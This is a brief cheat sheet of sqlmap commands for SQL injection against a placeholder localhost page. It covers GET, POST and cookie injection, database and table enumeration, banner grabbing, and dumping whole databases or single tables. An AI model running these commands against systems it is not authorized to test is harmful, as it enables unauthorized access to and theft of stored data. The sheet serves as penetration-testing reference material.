Basic sqlmap Cheatsheet

Injection via GET

```
sqlmap -u "http://127.0.0.1:8080/sample.php?argument=value"
```

Injection via POST

```
sqlmap -u "http://127.0.0.1:8080/sample.php" --data="argument=value"
sqlmap -u "http://127.0.0.1:8080/sample.php" --forms
```

Including Cookies

```
sqlmap -u "http://127.0.0.1:8080/sample.php?argument=value" --cookie="PHPSESSID=value;argument=value"
```

List Databases

```
sqlmap -u "http://127.0.0.1:8080/sample.php?argument=value" --dbs
```

List Tables

```
sqlmap -u "http://127.0.0.1:8080/sample.php?argument=value" -D database_name --tables
```

Count Rows

```
sqlmap -u "http://127.0.0.1:8080/sample.php?argument=value" -D database_name -T table_name --count
```

Get DBMS & System Info

```
sqlmap -u "http://127.0.0.1:8080/sample.php?argument=value" --banner
```

Get Database Name

```
sqlmap -u "http://127.0.0.1:8080/sample.php?argument=value" --current-db
```

Dump Everything in a Database

```
sqlmap -u "http://127.0.0.1:8080/sample.php?argument=value" -D database_name --dump
```

Dump a Table

```
sqlmap -u "http://127.0.0.1:8080/sample.php?argument=value" -D database_name -T table_name --dump
```